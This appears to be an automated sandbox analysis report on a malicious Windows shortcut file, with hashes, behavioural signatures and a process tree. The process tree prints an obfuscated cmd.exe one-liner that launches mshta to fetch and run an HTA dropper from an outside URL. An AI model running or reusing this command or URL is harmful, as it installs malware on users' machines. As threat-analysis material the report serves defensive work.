Analysis
- max time kernel
149s - max time network
153s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
04/08/2026, 08:25
Static task
static1
Behavioral task
behavioral1
Sample
DOC-QBJLA6.lnk
Resource
win10v2004-20260513-en
4 signatures
150 seconds
Behavioral task
behavioral2
Sample
DOC-QBJLA6.lnk
Resource
win11ltsc2024-20260709-en
3 signatures
150 seconds
General
- Target DOC-QBJLA6.lnk
- Size 1KB
- Sample260804-kbmbcaar91
- SHA256 ce21da3ced981e1266ecd376f69bf3f5e3dab3268b10411127e6b1326468adb1
- MD5 37d551c030dbcbf38bc71176ffb44ca4
- SHA1 fe4521920ad1761c331f2923a25665da0bd750b5
- SHA512 7c35b31a3c01d2d11d4de5cc3d76294c604d9e6e35d3a6294e6712ccb910c8aaf318e4f2c164ea1c9caccf1524bf12b21512734f9e6ca50297141f93f6d46f75
- TLSH T1A23164403EED0624F2F38E7698BB67248ABFB8568D208A2E4140864C5422A15E13BF67
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
Signatures
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\Control Panel\International\Geo\Nation cmd.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 3944 cmd.exe 4576 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 3944 wrote to memory of 4576 3944 cmd.exe 85 PID 4576 wrote to memory of 3392 4576 cmd.exe 86
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-QBJLA6.lnk1⤵
- Checks computer location settings
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3944 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /v:on /c "set mcZLp=msh&&set AhFIp=ta&&start "" !mcZLp!!AhFIp! https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4576 -
C:\Windows\System32\mshta.exemshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB3⤵PID:3392
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